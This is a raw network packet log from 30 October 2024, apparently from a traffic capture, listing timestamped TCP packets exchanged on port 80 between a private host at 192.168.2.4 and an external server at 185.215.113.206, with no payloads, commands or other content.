Oct 30, 2024 02:27:33.864207029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864216089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864228010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864228010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864238977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864244938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864253998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864269018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864295006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864404917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864418983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864428997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864443064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864445925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864454985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864470959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864495993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.936563015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.936587095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.936599016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.936677933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960303068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960508108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960524082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960535049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960544109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960546017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960558891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960570097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960578918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960578918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960582972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960607052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960625887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960725069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960735083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960741043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960776091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960798025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960800886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960809946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960838079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960858107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960861921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960896969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960932016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960942984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.960969925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960978031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.960983038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961020947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961183071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961194992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961205959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961227894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961240053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961316109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961333036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961344004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961357117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961384058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961447954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961460114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961469889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961482048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961488962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961507082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961565018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961831093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961877108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961894989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961905003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961932898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961941004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.961963892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961976051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.961987019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962009907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962035894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962125063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962135077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962145090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962153912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962171078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962171078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962193012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962450981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962584972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962594986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962605000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962610006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962615013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962620020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962627888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962642908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962672949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962831974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962842941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962852001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962862015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.962874889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.962888956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.054119110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.054183006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.054259062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.054270029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.054275036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.054368019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.077785015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.077819109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.077830076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.077852964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.077864885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.077934027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.077944040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.077982903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078017950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078028917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078056097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078075886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078170061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078181028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078190088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078219891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078232050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078350067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078361034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078370094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078424931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078546047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078555107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078566074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078574896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078586102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078588009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078613043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078638077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078690052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078701019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078731060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078747988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078819036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078859091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078888893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078900099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078924894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078953028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.078988075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.078998089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079030037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079130888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079140902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079157114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079181910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079185963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079195023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079224110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079243898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079358101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079410076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079463959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079509974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079545021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079555988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079590082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079610109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079621077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079631090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079648018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079670906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079816103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079855919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079859972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079871893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.079894066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.079905033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.080027103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.080049038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.080058098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.080070019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.080085993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.080105066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.080348969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.080359936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.080368996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.080414057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.080414057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.171680927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.171693087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.171701908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.171731949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.171751022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197221994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197233915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197244883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197257042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197269917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197274923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197276115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197297096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197297096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197386980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197402000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197412968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197423935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197424889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197431087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197446108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197455883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197465897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197469950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197469950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197475910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197478056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197488070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197496891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197504044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197504044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197508097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197513103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197519064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197529078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197539091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197551012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197565079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197575092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197601080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197730064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197741032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197748899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197772980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197784901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.197917938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197928905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.197967052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198080063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198091984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198101044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198124886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198137999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198149920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198162079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198172092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198184013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198231936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198343039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198354006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198384047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198400974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198416948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198442936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198600054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198611021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198621035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198652983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198652983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198772907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198784113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198808908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198808908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198832989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.198961020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198971987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198982000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.198992968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.199023008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.199023008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.199039936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.199134111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.199143887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.199307919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.199325085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.199335098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.199356079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.199424982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.199424982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.199486971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.199498892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.199521065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.199544907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.289181948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.289203882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.289213896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.289302111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.289331913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.312769890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.312822104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.312832117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.312846899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.312876940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.312879086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.312891960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.312915087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.312946081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.312968016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.312992096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313010931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313023090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313086987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313131094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313163042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313174009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313211918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313227892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313268900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313329935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313375950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313396931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313409090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313446999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313513994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313524961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313563108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313838005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313888073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313895941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313908100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.313935041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.313952923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314018011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314028978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314039946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314065933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314085960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314135075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314145088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314183950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314215899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314227104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314256907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314301968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314317942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314323902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314371109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314446926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314490080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314501047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314513922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314549923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314589024 CET	80	49760	185.215.113.206	192.168.2.4
